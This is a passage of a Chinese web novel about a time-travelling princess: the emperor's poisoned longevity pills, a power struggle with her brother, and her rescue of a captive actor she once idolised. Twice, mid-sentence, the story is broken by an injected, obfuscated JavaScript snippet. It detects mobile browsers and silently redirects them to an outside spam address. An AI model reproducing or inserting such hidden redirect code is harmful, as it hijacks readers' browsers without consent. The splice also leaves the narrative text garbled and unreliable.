雍和帝无视了温吟知的请求,只是目光锐利地盯着内侍将丹药各送入小猫小狗口中。一毛一狗被人捏着脖颈,大声抗拒呼叫着,却怎么也挣脱不掉脖子上的那双手。 温吟知亲眼目睹一猫一狗服用下长生丹,亲眼目睹它们浑身抽搐,口吐白沫。 它们复刻着撕家的反应,甚至可能因为幼小,它们对长生丹的反应比撕家还要剧烈。 雍和帝面色如冰,背在身后的手,指尖泛白。 温吟知下意识抱紧自己怀中的撕家,强硬命令着内侍:“去取清水和绿豆汤来!速度要快!” 内侍不动,李公公抬头去看雍和帝的脸色。温吟知使唤不动任何人,只有春雪转身就跑。 温吟知顺手就将撕家放在李公公怀里,取过撕家用下的清水,就要夺过内侍手上的猫儿。就在此时雍和帝像是才回神般,沉声道:“拦下公主。” “谁也不许动这一对猫狗,朕要亲眼看看这丹药的功效。”雍和帝斜晲温吟知一眼,道:“这是皇令。” 温吟知的心和那没了气息的猫狗儿一般,瞬间凉了。 16. 她的选择 事已成定局,雍和帝得到了他想要的答案。 雍和帝转过身一甩衣袖,道:“李圆德,以后不必让长生宫再送长生丹。” 李公公连声应下,将怀中的撕家归还给温吟知,赶忙去追雍和帝。 温吟知接过熟睡的撕家,看着父皇往内屋走去的背影,瞳孔微缩。直到父皇彻底消失在她视线中,她方才缓缓地偏过脸去,遮去难过的神色。 “公主清水和绿豆汤都取来了!”春雪快步跑进殿中,在看到地上那一对没了生息的猫儿狗儿后,声音戛然而止。 人命比草贱的地方,别说一对猫狗了,宫里犯错丧命者也不在少数。 温吟知心中难受:“寻个好地方,葬了吧。” 春雪用袖子擦掉眼角的泪水,福身应道:“……是。” 主仆二人便在宫里寻了处有山有水的好地方,埋了根肉骨头和一把小鱼干,将它们葬了去。 温吟知全身上下都散发着一股生人勿近的寒气。 撕家一直未醒,温吟知放心不下它,还是决定去寻太医或者养马之类的兽医替撕家看看。 谁曾想,还真让温吟知碰到了略懂些兽医的太医。 太医说:“公主的救治措施采取及时,它体内的毒差不多除清了。不碍事,猫儿晚些便醒了。” 太医一番话让温吟知悬着的一颗心,稍稍放下了些。等她从太医院出来的时候,温元钦早就屋外的亭子恭候多时。 温吟知径直向温元钦走去,没等她开口,对方反倒先阴阳怪气道:“妹妹好手段,好狠的心,连最喜欢的猫儿都能下得了手。” 亭内只有她们兄妹二人,温吟知闻言,丝毫不客气地震怒直言:“温元钦,你是想毒死父皇吗?我好手段、好狠的心,都比不上你下毒更为卑鄙狠戾。” 温元钦从口中一个字一个字挤出道:“温吟知你什么意思?” “你敢说你让陆今年炼制的长生丹没毒吗?”温吟知面色凝重,若非是剧毒的丹药,不然撕家怎么会口吐白沫、四肢抽搐。 她刚刚在无人的角落,检查过那枚藏在腰间的长生丹了。最外层她闻着气味像是巧克力,内里包裹着的东西她就不清楚了。她现在也是在炸温元钦,赌一赌温元钦知不知晓长生丹的事情。 果然捅破窗户纸后,温元钦的气焰倒是没那么嚣张了。 他犹豫道:“长生丹只会让人沉迷、嗜睡而已,并不会有毒。” 温吟知指着他的脑袋脱口而出一句:“蠢货。” 古代炼丹技术不成熟,全是重金属。这陆今年还知道找西洋玩意,在外层涂上一层父皇没吃过的巧克力作为伪装。怪不得父皇说这东西千金难寻,这西洋漂洋过海来的玩意,能不贵吗? 猫和狗都不能吃巧克力,所以撕家和那对猫狗才会反应剧烈。若非父皇疑她将鼠换成猫狗,她今日这番离间陆今年与父皇关系的计谋也未必能如此成功。可目的达成的温吟知却没有一丝喜悦…… 当一个天下共主失去仁爱之心,抛开一切只一心追求长生,登顶成仙,那么这个国家便注定要走向衰落。 后知后觉的温元钦也意识到什么,他是想坐上那个位置,但如今的他还完全没有必要弑父上位。他只需要将温吟知这个威胁铲除而已,剩下的他便能名正言顺的上位。 “他已经是枚死棋,你把陆今年给我。”温吟知直接开口找他要人。 “不行。”温元钦想也没想就拒绝了,“父皇已经停了长生丹的炼制,并且撤掉了陆大人大祭司的官职。” 温吟知气笑了:“谋害父皇只是停职?你跟父皇都脑子被驴踢了吗?个个都被他迷得五魂三道的。” “他是无心之举,他是无辜的。大祭司已经被父皇停职付出代价了,你还要如何?”温元钦依旧还护着陆今年。 温吟知怒道:“自然是查清楚,陆今年有没有罪,自然由证据说话。陆今年他不是你能掌控之人,就你这种绝世大圣母,就算坐上那个位置怎么死的都不清楚。” 她一句话又刺痛了温元钦的心窝,温元钦强忍着情绪,用着自认为好言好语的话劝着她:“浓浓,收手吧。” “再闹下去,哥哥就真的对你不客气了。” 温吟知像是听到什么玩笑话,莫名其妙地笑了一下:“你杀我时就客气了吗?” 温元钦眸子里燃起汹汹暗火,上前一步质问她:“你为什么就是不听话。” 他低沉阴鸷的嗓音吓得温吟知的猫儿一缩,温吟知伸手安抚着它,也试图安抚着温元钦:“哥哥,这位置那么辛苦,不如就让浓浓来替你吧。” “日后你还是浓浓唯一的嫡亲哥哥,享不尽的荣华富贵,香车宝马。只要你不触犯雍朝法律,浓浓保你一辈子衣食无忧。” 温元钦闻言低笑两声,嘴角扯出诡异的笑容,对此也不再执着劝她,只是说:“浓浓,你这条路必然比哥哥还会辛苦,光性别你就不占优势。” “你如何能赢?如何会赢?这天下谁会信你,臣服你,跟随你,陪你一块出生入死。” “况且,你我心知肚明,那场暗杀谁才是幕后主使。如此,你怎会放我一条荣华富贵的生路。” 温吟知垂眸,偏过脸去自嘲地笑着:“为什么布此局杀我,就因为权吗?难道我们这十六年来朝夕相处的亲情,都是假的吗?” 温元钦目光闪烁,沉默了一下,道:“今日,我已让官员将量产三石三斗稻子的消息记在邸报上。朝中官员无论大小都会知是我,为百姓研发出这三石三斗的稻种。” 温吟知悲悯地看他一眼,就算人尽皆知他培育出能产三石三斗的稻种,但他不知晓培育稻种方法,又如何拿出稻种来给百姓耕种,如何让天下人信服这稻种出自他手。 温元钦十分不喜温吟知又用这种看傻子的眼神看他。恼羞成怒之下,他不慎客气道:“浓浓,你日后会哭着求我的。” 温吟知笑了笑,不甚在意道:“那必定——不会。” 温吟知说完转 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17330046|198783||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 身就走。转身的那一瞬间,脸上的笑容瞬间收回,又恢复平常高傲的冷脸。 可笑,她温吟知都不知道哭字怎么写,怎么会哭着求人。 “是吗?”身后温元钦阴冷含笑的声音响起:“哥哥就知道你不会乖乖听话的,那哥哥只好给你些教训。” “那就先从你带回来的那个小男宠开始吧。” 温吟知的脚步立即顿住,回身质问温元钦:“你对他做了什么!” “哈哈哈哈……”温元钦仰天长笑,难得见自家妹妹露出这般慌张的神色:“浓浓别担心,哥哥知晓你喜欢他。一介卑贱玩物而已,哥哥没要他性命,只是将他送入了内侍局。” —— 盛京的雨实在难测。 在温元钦说出‘内侍局’三字后,厚重的云层灰扑扑的压下,落下连片延绵不断的雨水,掺杂着阴冷的风席卷而来。 太常寺的一位内侍火急火燎跑来禀报:“肖公子下午出门前问哪里可以寻制伞的材料。奴告知肖公子后,他说会在酉时前回来。可酉时肖公子依旧未归。奴在宫里都找遍了,都未寻到肖公子的踪影。” 温吟知知晓肖郢又受她连累了。她动了温元钦的人,温元钦以牙还牙,也动了她的人。 飘落的雨打湿了她的头发,温吟知强忍着怒气,身影极快往内侍局跑去,衣袂被风吹得哗哗作响。 温元钦接过随侍递过来的伞,撑着伞追上她:“不要淋雨,会伤了身子的。” “滚开,不需要你假好心。”温吟知反手一推,从温元钦的手上夺过伞,温元钦踉跄摔倒在地。 温吟知没有想到自己只是轻轻一推,便将温元钦推倒在地。她单手撑着伞,在潇潇肃雨中,轻垂着眼看着温元钦:“哥哥真是让浓浓觉得越来越陌生了。” 雨水落在温元钦的脸上,顺着脸颊滑落。他听着哗哗的雨声中,她失望的声音。 她的眼中染上一丝悲悯:“或许是我从未看清过你。” 话毕,她不带丝毫犹豫地转身离开。 或许这就是生在帝王家的悲哀,谁对谁都没有完全的真心。例如温元钦对她,例如她同撕家在父皇面前演戏。 在现代她爸妈只有她一个女儿,家族里兄弟姐妹都很和谐相处,从未像电视剧演的豪门世家那般勾心斗角。她同爸妈之间从来更没有利益算计。 双手撑着地的温元钦看着温吟知急匆匆的背影,从胸腔内发出一阵阵低垂的笑声:“呵呵。” “你要去救他吗?”他提高了声音:“救一个才刚认识一日的贱奴吗?” “哥哥命令你不许去!” 温吟知听到了身后带着不甘的怒吼,但她并未停下脚步只往自己选择的方向走去。肖郢不是贱奴,更不能因为强权而变成一个残缺的人。 她不允许一个现代自由的灵魂葬在这个朝代里。 得不到回应的温元钦已经知道温吟知的答案,她已经用行动告知了他。 她的选择是肖郢。 17. 拨开云雾 温吟知一路小跑,终于赶到了内侍局。 所谓内侍局,名如其名,就是宫内太监所待的地方。 “公主要进内侍局前不妨先看看这个。”春婳及时出现拦下她。 “何事。”温吟知道,顺手接过春婳递过来的情报。 那情报上写着: 肖郢,祖籍汉阳,生于雍和十一年。父肖长青,曾任……温吟知救人心切,一目十行地扫视着,直到落在这一行字上。 雍和二十年,肖郢之父与年仅六岁之妹失踪,肖郢报案。但多年以来,肖从未到官府询问过案情进度。走访肖登记在册住址,附近邻居均未见过他。住址有假,查不到肖这些年活动轨迹。此人恐身份有疑。 “公主,还要去救肖公子吗?”春婳开口询问。 “救。”温吟知收起这张纸,塞进衣袖里,自言自语道:“怎么会不救。” 话毕,她提着裙摆跑进了内侍局,门口的小太监提嗓:“六公主——” 小太监的话还未曾说完,温吟知着急地打断他:“肖郢呢?肖郢在哪里!” 怕门口的小太监不知晓肖郢是谁,温吟知还特地解释:“今日刚送来长得很好看的男子。” 小太监瞬间知晓温吟知要寻的是何人:“在处置室!” 温吟知命令:“带路。” 小太监被她的语气吓得一激灵,从未见过六公主如此严肃着急过。因此小太监在前头走得飞快,生怕耽误了事。 处置室并不远再加上大家脚程快,没一会就到了。大老远的就听见室内镣铐撞击、物件碰撞的声响。 屋内还有一道尖细嘹亮的桀桀怪笑:“宫里除了陛下,不能有任何有根的男子出入后宫。” “你一介奴籍戏子能留在宫中伺候贵人,那是你三生三世修来的福气。不过挨上这一刀,你就剩下这么一张好看的脸蛋,你觉得六公主还会喜欢你这个无用的戏子吗?” “这样日后你投靠洒家,喊洒家一声‘哥哥’,洒家自会帮衬你一二。” 周围的气温顿时冷了下来,小太监脸色煞白地看着温吟知。 温吟知听闻过宫里的一些肮脏之事,待得久的老太监会霸凌新来的小太监。她投胎的好,生下来便身份高贵,从未吃过苦更不会经历宫里下人们的暗斗。如今亲眼见证了这些传闻,只觉得胃里翻山倒海的恶心。 屋里传来一声痛彻心扉的呐喊:“啊——” 温吟知认出这声音的主人,急得推门而入:“肖郢!” 一股腥味扑面而来,刺眼的光汹涌地闯进漆黑的屋子里。肖郢微低着头,正侧站在屋子的正中央。他高高束起的马尾自然地垂在身后,只有一缕墨发悬空掉在他肩前。 待听到有人闯进来唤他名字后,他像是刚经过激烈斗争般,微喘着气抬头看她。 温吟知怔在原地。 肖郢左侧脸颊上有两道被刀割破的伤口,鼻梁上也有一小道划伤,嘴角边还有一丝殷红的血迹,看向她的目光里充满了警惕。 他的四周躺倒一片抱着身体不同部位怨声哀嚎的内侍,温吟知看着处置室的桌子上,各种道具都还未沾上血。肖郢身上的衣服虽皱了些,但也并无血迹。 尚且还没完全搞清楚状况的温吟知,便瞧见他的身子虚晃一下。她下意识地伸手去接他,在半空中扶住他的双手。 这个时候她才意识到,侧着身子的他在遮挡什么。 他右手紧握着一把都染着鲜红的鲜血伞骨。看伞骨上不规则的血迹,像是有人强行硬拽而被伞骨划破肌肤而留下的。 以血染红的伞骨,在晦暗的处置室内显得分外血腥。 早先抢夺肖郢手上伞架的内侍,自温吟知推门而入后,早就被吓得腿打颤,长跪在原地不敢抬头。 肖郢苍白到失去血色的手指在滴血,血液自修长的指尖顺着伞骨流淌。偏偏他还一脸不知痛的样子,将破碎的伞架紧紧握在手中,任凭鲜血直流。 温吟知的心就像被什么东西狠狠刺了一下,头一次逾矩将手轻覆上肖郢的五指,温声哄他:“松开它好吗?” 听到熟悉的声音,肖郢失焦的眼神开始回聚,视线落在两人交叠的手上。 她原本冷白调的皮肤已经被他的血染成红色。 刺目的红让肖郢瞳孔微缩,反而更加用力地握紧伞柄。 见状,温吟知顷刻面覆寒霜,急促看向方才在屋内说荤话的老太监,质问道:“你对他做过什么!” 被点名的老太监一哆嗦,吓得直摆手摇头:“没有没有!奴才非但没能碰到他一根手指头,内侍局里这些躺下的人,都是被他打趴下的。” 温吟知环视四周躺下呻/吟的人,最后再看向肖郢。他一双带有血丝的双眸正平静地看着她,好似在等她的判决。 那种平静是一种空洞的平静,温吟知从未在肖赢身上瞧见过。 冷汗顺着肖郢的脸颊滑落,他从未言语,温吟知心中却已有了决断。 她张开自己覆在肖郢手上的双手,露出被肖郢血液占领鲜血淋淋的掌心,锵然反问:“你觉得就他这样的,能将你们打成这样吗?” “他身上的伤——”温吟知话音陡然转冷加重:“可都比你们重。” 老太监不可置信地抬头看着肖郢和温吟知,眼中全是错愕。此人明明武力值超高,他们这么多人都被打下了。 老太监想同肖郢对质,却看见肖郢目不转睛地看着公主。他不明白为何肖郢看向公主的眼中没有一丝爱慕、感动之色,反倒有些茫然。 弄得他也有些茫然,一时间忘了言说。 “公主奴才们冤枉啊……”内侍局哀声一片。 温吟知充耳不闻,怒斥道:“一群仗势欺人的狗东西。” 她站起身接过春婳不知何时寻来的披风,她将披风抖开,将披风系在肖郢的身上。 细长的手指在他颈间穿梭着。披风系好后,温吟知讪讪地抬起头来,语气都变得和顺许多。 她说:“无论日后你在哪里,” 披风遮去他凌乱破烂的衣裳,以及汩汩流血的伤口。 温吟知为他顺平披风上的褶皱:“都要给我不惜任何一切代价活下去。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17337580|198783||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 这是她作为二十一世纪友人以及粉丝对偶像的唯一要求。 我只要你平平安安的活着就好。 “春雪,安置好公子。”她起身,欲转身,冰冷的五指握住了她的手腕。 她侧身垂眸,听着他明确地询问:“你要赶我走。” 他很敏锐,一下子就察觉她尚且还未说出口的心思。在外人看来她将肖郢安置在太常寺是为了留下他,可她从未动过心思让肖郢留在宫中。放肖郢在太常寺只不过是为了后续放他出宫做得准备。 周围静悄悄地,在场的人均不敢大喘气,暗戳戳看着两人。 “全都给本公主滚出去。”她冷脸斥责着跪满一地的太监。 待屋内只剩下他们二人后,她想要抽出自己的手,但肖郢生怕一放手她就离开了,紧紧握紧着她。 温吟知担心她的挣扎会加剧他手上的伤势,因此根本没有想过挣扎,顺势坐在了他的身侧。他的眼神依旧直勾勾地看着她,秀气的眉头紧皱在一起,眼神中充满了急切和不舍。 她不明白何来的不舍,肖郢认识她也只不过短短几日而已。虽然她早已认识了肖赢十年,整整十年。 “你不属于这里,我也护不住你。”她抬头看着漆黑的屋子里唯一的窗户,那是唯一光的来源。 浮动的尘埃在光中跳动,科学上说肉眼能见的尘埃,那都是尘埃中的庞然大物。 她不得不承认,任凭她的身份地位再尊重,没有强大的权力作为支撑,她连自己的都护不住。 她眯起眼看着窗外:“我很不开心听他们这样称呼你。” “低贱、卑微、卑贱、玩物这些不好的词都被他们用来形容你。” 她每听到一次都想喝止对方,让对方停止用这些侮辱的词汇来形容肖郢,但这是最没用也最麻烦的方法。她无法做到见一个人就明令禁止一个人不许这么做。 她能想到的唯一方法就是让肖郢摆脱奴籍,出宫去过他想要的生活,彻底摆脱过往的一切。 她从袖中掏出肖郢的奴契,摊开悬挂在他眼前,好让他瞧得清楚。肖郢看到这张发黄的纸张,一时间有些恍惚,恍惚着松开了紧握她的手。 双手得到自由的温吟知瞧着自己手上残留的血液,将手中的奴契撕毁,一分两半,再分两半……最终她将撕成碎片的奴契双手一抛。 她发自内心地对着肖郢说:“你自由了。” 再也没有人可以因为你的身份继续嘲笑你、强迫你了。 飘落的碎片从空中缓缓飘落,肖郢听着眼前高贵飞扬的公主,眼含热泪笑着对他说:“肖郢,如果此生你的世界里没有遇到过一丝丝善意。” “那是因为你没有遇见我。” 自她认识肖郢以来,肖赢一直因为她的原因在受伤。温吟知怕呀,怕自己喜欢的偶像,因为自己的原因死在宫中。追星追到最后,她成了生命粉。 在这个时代里,没有什么比活下去更加重要。 我不管你带着任何目的接近我,但我愿意奉献我最真挚的善意,来换你的——拨开云雾,见月明。 18. 肖郢走了 其实,从一开始温吟知就知道,肖郢不简单。 他是奴籍,却在面对她这样的权势时,从容不迫,进退有度,让人无法看清真实的他。 在面对一位现代同乡,外加曾经的偶像,温吟知也曾动摇过自己的内心,想要将他留在身边。 但宫里实在是太危险了。 她说过,肖郢不是贱奴,更不能因为强权而变成一个残缺的人。她更不允许一个现代自由的灵魂葬在这个朝代里。 即使他一直没同她承认他现代的身份,即使他身上还有许多尚未解开的谜题。 放他走,放他自由。 就当为了她,为了那个早被古代帝王教育同化的温吟知。 温吟知亲眼见证肖郢的身子颤抖,亲眼见证他隐忍而又坚毅的乌眸逐渐湿润。他抬起还在流血的掌心捂着太阳穴,鲜血从他太阳穴的位置顺着侧脸流下。 原本清冷温润的人瞬间变了。 如果这是一场戏,温吟知一定拍手叫好直夸肖郢的演技。仅仅只是一个抬手扶额强忍痛苦的动作,没有任何黑色妆造服饰的加持,温吟知却能感觉到眼前人像是从满地枯骨里爬出来的血人。 血腥而又灰暗。 他忍着痛苦,颤着声质问着她: “公主知晓我是谁吗?又知晓我是个怎样的人吗?” “公主与我不过短短相识两日,为何要对我这么好。” “公主难道没有什么话想要问我吗?” 这是温吟知认识肖郢以来,第一次见他一次性说这么多话。 他似乎很痛苦,说到最后还干脆放下抵在太阳穴的手,握紧拳头压紧掌心的伤口以获得痛苦的清醒。 地上滴落着一大片血渍,那都是他的血。 “你怎么了!”她发现了肖郢的异常,根本无心去回答他的问题。 但肖郢还是在执着那些问题,踉跄着后退几步不让她靠近:“公主别过来,别靠近我。” “把我关起来……”他痛苦请求着。 这时门外又响起急切的叩门声,春雪在外头急呼:“公主公主,出事了。” 温吟知一时间左右为难,看着肖郢的冷汗打湿了墨发,苍白干燥的唇因为疼痛不断蠕动着,空气中血腥味愈发浓郁。 再不管他,他会因为失血过多而死在这里的。 温吟知再次做出了选择。 她小跑过去,肖郢的身子因为失血过多,在炎热的夏日里竟然开始发冷。他蜷缩在黑暗中的一个角落里,疲惫地闭上双眼根本不敢抬头看她。 他现在一定很丑,很狼狈。 模模糊糊的他感觉熟悉的味道传来,温热的手环过他的手臂,有人在耳边急切呼唤他的名字。 “肖郢。” “醒醒,不要睡。” 他的意识在一点点消散,却努力的在与‘他’做抵抗。他还不想走,他还有好多事没有完成。 心底却有一个声音一直在告诉他,该离开了。 他蠕动着唇,想告诉她:“还欠公主的伞没有完成……” 却虚弱的发不出一个音节。 他努力地睁开眼,想要再瞧瞧她的容貌,想安抚她不要难过。他什么都来不及做,他的意识在顷刻间坠入了深渊,他的世界又恢复成黑暗一片。 像肖赢在电视剧里很多次演得生离死别那般,温吟知亲眼见证肖郢的手瞬间失去控制,自然失力地垂落在身侧。 温吟知跪坐在地上抱着他,眼泪瞬间就夺眶而出:“肖郢!” 她以为她不会为了任何人落泪的,她以为她在这个朝代早就练出一副铁石心肠。 她抱着冷冰冰的肖郢哽咽:“我还有好多好多话没和你说,你还不知道眼前的这个温吟知是谁。” 候在屋外的春雪春婳听到温吟知的哭腔后,干脆直接破门而入。 黑暗的处置室内,高贵的公主跪坐在地上,抱着一安静沉睡毫无声息的男子痛哭落泪。她低着头将下颌抵在他的墨发上,哭得脸上的妆都花了。 “对不起……” “都是我的狂妄自大害了你……”她陷入深深的自责里。 撕家的事情也是,肖郢的事情也是。如果她不出那个主意,撕家就不会遭罪。如果她不带肖郢回宫,肖郢就不会死。她总以为自己能够摆平所有的一切,是她错了,大错特错。 春婳春雪自小同温吟知一块长大,哪里见过她这般模样。春婳伸手为肖郢探脉,越诊越心凉。 温吟知直接难过到哭至无声。 突然春婳惊呼:“公主,肖公子还有一丝很微弱的脉搏!也许拿着百年老参吊着还能救回来。” 温吟知霎时间停止了哭泣,眼泪还挂在她脸上,她立即背起肖郢:“走,回宫。” 她努力让自己保持着镇定,安排着所有事情:“母后那还有百年参,春婳你脚程快,快去取。春雪你快去太医院请李太医,再派个脚程快的太监通知栖鸾宫备好热水和干净的被褥。” “是。”众人领命。 春雪欲言又止,不知晓该不该同公主说那件急事。但她咬牙一想,人命更重要,转身就走了。 外头依旧下着雨,温吟知也不知晓自己是如何背着肖郢走了一路,回到栖鸾宫的。更没有时间去想她背着肖郢走这一路,会给她带来如何的流言蜚语。 她只想要肖郢好好的活过来。 春婳不愧是习武的,脚程快。温吟知刚到栖鸾宫没一会,春婳也回来了。百年人参被切成片含在肖郢的口中,春雪也架着李太医赶来了。 自从那次雨夜,李太医主动告知温吟知安神汤的危害后,他便顺利成为温吟知的人。 李太医一瞧见肖郢,便惊讶地微挑了下眉,伸手搭脉。 温吟知目睹这一切,站在一旁未问其因,避免自己打扰李太医看诊。 李太医又是针灸又是写方子命人熬药,又是皱着眉头给肖郢处理手上的伤口。忙活了两个时辰后,已经是戌时,天色已晚。 处理完肖郢身上伤口的李太医叹了口气:“此人的身子曾多次受伤,旧伤不愈又加新伤,这具身子早就是强弩之弓。” “老臣尽力了,剩下的便是看天意和他的求生意识了。” 温吟知僵硬地颔首道谢,李太医顿了顿,瞧见如此难过的温吟知还是委婉劝了一句:“公主人各有命。即 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温吟知听后无力地笑了笑:“原来还有下一环在等着我,他可真是我血肉至亲的‘好哥哥’。” 借肖郢一事以牙还牙她动大喇嘛一事,也借此拖住她,让她无法分身去处理稻种一事。在现代没有经历过的兄弟姐妹为了争家产反目成仇的故事,在古代也算让她体验到了。 “对呀,公主一直教导奴婢们被人欺负了不要想做老好人,忍忍就算了。”她舀起一勺子人参鸡汤喂到温吟知嘴边:“公主也不要为了四殿下是血肉至亲就将此事算了。” “他作为哥哥如此可恶害肖公子至此,还不劳而获抢走属于公主的东西,根本没有一点哥哥的样子。”她气愤地说道:“下午公主背肖公子回宫,夜里宫里便流出了些流言蜚语,说公主水性杨花、未出阁便养男宠狐媚子等等难听的流言。” “说公主人品不正,不堪贵为嫡女风范。” “一环一环都像是安排好的,都是冲着公主来的。”春雪越说越气愤,强势喂了温吟知一口参鸡汤:“公主可不能忍下这口恶气,替自己和肖公子讨回公道。” 被强势喂了一口参鸡汤的温吟知,感觉一股暖流从喉间顺着食道落入胃里。 身体的各个器官像是被重新唤醒,她轻声说了声:“谢谢。” 然后接过春雪手上的参汤一饮而尽。 春雪心满意足了:“公主别担忧,肖公子必然能挺过来的,不然李太医这会应该惶恐得吃不下饭了。” “方才皇后娘娘也来了,见您心神不宁的便在偏殿候着,没打扰您和李太医。”春雪眉目温和,学着她生病时温吟知柔声细语的语调:“公主一开口便是百年老参,皇后娘娘那也就一根。但皇后娘娘还是二话不说便给了公主,春婳也来不及解释便急匆匆走了。” “春婳姐姐为了早点将百年老参送到公主手中,还动用了轻功,差点被宫里的禁军当成刺客抓起来。” “奴婢刚回来没多久,皇后娘娘后脚便至,宫里那些流言蜚语都被皇后娘娘压下来了。” “肖公子得公主庇护,福大命大,绝对会醒来的。” 19. 输赢的赢 春雪的一番话,让温吟知彻底安下心来。 她抬手摸了摸春雪的墨发:“谢谢你们。” 是她陷入情绪中失去了主心骨。 春雪摇摇头,她能为公主所做不多。这些年来她和栖鸾宫的所有姐妹们,都是被公主庇佑才能过上如此安稳的好日子,是她们要感谢遇到了公主。她所做的一切,只不过都在模仿公主。 公主虽然看起来总是一副高贵嚣张的样子,可公主其实是个骨子里很温柔的人,从不苛待下人的。她一个奴婢,一直觉得公主就像拿她们当挚友一般对待。 她们栖鸾宫内十六年来可从未出过一条人命,每个人都爱着栖鸾宫,就连其她宫的一些姐妹也爱和她们宫里的人对接活。 春雪收拾着碗筷下去了,温吟知一个人守在肖郢的身边,小心查看着肖郢被包扎好的掌心。 她亲眼看着李太医是如何从他的掌心中,取出那些嵌入骨肉里的长刺。她好想再看一次在舞台上的肖郢,他会很多种乐器,能够弹吉他、弹钢琴、贝斯、打鼓…… 他这双手创造过许多美妙的音乐,也曾在那个雨势磅礴的雨夜,隔着距离将他唯一的伞递给她。 这些都是属于她现代的记忆。 温吟知盯着这双手出神,疲惫卷上心头,眼皮子越来越重。 周遭有些发冷。 然后—— 温吟知揉着太阳穴从角落里站起身,环顾着四周不明白这是什么地方。昏暗的视线里,有一衣衫褴褛、遍体鳞伤的男子正被绑在刑架上。 她定睛一看,简陋的木桌上放着用银制的沾满鲜血九节带刺长鞭。男子身上的衣裳被打烂的痕迹,正是这九节带刺长鞭。 温吟知上前几步,那被绑在架子上披散着头发的男子毫无生气。她为凑上前去看,都能看见他被捆绑住的双手处,被麻绳勒出了铮铮然的血骨。 温吟知不由偏过头去,也不知是他因为疼痛挣扎而弄出的伤,还是因为想要逃跑弄出的伤。 有人进来了,温吟知丝毫没躲,直直站在原地,观察着旁人对她的反应。 来人是张陌生中又带点熟悉的面孔,温吟知在脑海里搜索了一会,才想起以前在酒楼见过他。当时礼部尚书一家在那用膳,听闻公主也在,特地前来问安。 此人便在其中。 温吟知记性很好,依稀记得此人是礼部尚书的侄子——郑渊。 郑渊一进来就用那九节带刺银鞭沾入盐水中浸泡,待完全洗掉上面的血迹后,重新拿出来扬手打在男子身上。 啪的一声巨响,是银器打进肉/体上的声音,男子的身子只是因为重力的惯性微微摇晃,空气中弥漫着浓郁的血腥味。 温吟知听到他从胸腔里发出一声细微、痛苦的闷哼。 熟悉、带着强烈的窒息感萦绕着她,温吟知没忍住抬手制止郑渊:“住手!” 她的手掌握了个空,径直穿过郑渊的身体。 郑渊边抽打着男子,边咒骂着他:“你个低贱的戏子,竟然敢杀了我那么多人。” “那一屋子的人都是你烧死的。”他咬牙切齿、泄愤式地抽打肖郢:“我让你烧,我让你烧,我今日先把你给抽死。” “住手!我让你住手!”温吟知气得身子都在发抖,奈何她碰不到任何实物。 郑渊发狠地抽打着男子,男子全程都默不作声承受着一切,九节鞭从体内抽出来的时候,那上面的倒刺还刮出暗红的血肉,和喷出溅地的血。 郑渊抽打了几十下,终于累了停下来休息会。 “贱种,若不是你生了一张好脸,我早就将你扔进斗兽场里。和你母亲一样被野兽撕烂搅碎你这身贱骨头。”他怨恨地抬腿踹肖郢一脚。 “就该将你妹妹也一块扔进斗兽场里,让你再一次亲眼瞧着亲人被一点点被啃食。” 听到这话全程了无生气的肖郢猛地抬起头,血红的眼睛里布满了浓郁的杀气。 “哈哈哈哈哈哈……”郑渊发出肆虐痛快的笑声:“在被扔进斗兽场前,最好先让你妹妹好好服侍我的手下。” 肖郢被刺激得不行,原本清冷浓郁的颜倏然变得阴狠凶戾起来,他发出痛苦的嘶吼:“你敢再动她,我必杀你!” 郑渊发出嘲笑的笑声:“就你这个阶下囚……你连自身都难保。” “你这种卑贱之人,送你去伺候永宁还是便宜你了。你就在这里等着骨肉腐烂而死吧!”郑渊甩鞭而去,似乎真的放弃了肖郢这一枚棋子。 暗无见天日的牢房里又恢复安静,肖郢低垂着头出气多进气少的盯着地面,了无生气。 温吟知旁观完全程,心疼地伸出手去抚摸他的脸。她的手穿过他的身体碰了个空,温吟知失落地坐在他旁边,听着他伤口的血滴落在地的声音。 滴答滴答—— 是他身上的血一点一点流落在地上的声音。 温吟知红了眼眶,她从来没有想过肖郢会经经历这些,受这么重的伤、流这么多的血。 即使这只是一个梦,她却难过的想哭。 她抱紧自己的双膝,看着地上的血水明知道他听不见,却还是自言自语道: “肖郢,答应郑渊去找我。” “我是雍朝的永宁长公主,是父皇母后最喜爱的六公主。” “……我不用你护着。”她抿着唇, “我只想你,好好活着。” 窗外东升日又落。 温吟知不清楚她在牢房里陪伴了肖郢几日,她只知道没人来看肖郢。肖郢的气息越来越弱了,地上成团的血水早就干涸了。 温吟知也不知晓为何这个梦境还没结束,她被困在暗无天日的地牢里这么久,见不着一丝光,整日闻着潮湿发霉的血腥味,熏得她头昏想吐。 最重要的是她无法看着肖郢受苦,而自己却无能为力。 人在地牢里待久了,精神都有些恍惚了。温吟知听到墙边传来了些声音。 “里面那人不吃不喝几日了,不知晓死了没有。” “敬酒不吃吃罚酒,活该。不过你听说了没有,四殿下有每亩能产四石的稻种,六公主跳出来说四殿下偷盗了她的稻种。” “竟还有这回事?” 温吟知听完眼皮都没动,不屑地笑了笑。温元钦打出假消息有必要吗?他根本就没有能产出四石的稻种。 两人边 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小厮听完肖郢的话后,便立即打开暗室的门禀告去了。开门时那刺眼的光打在温吟知身上,她抬起手遮住眼睛,再次睁开眼时,入目便看见趴在她身侧熟悉的侧颜。 她醒了。 方才的一切均是大梦一场。 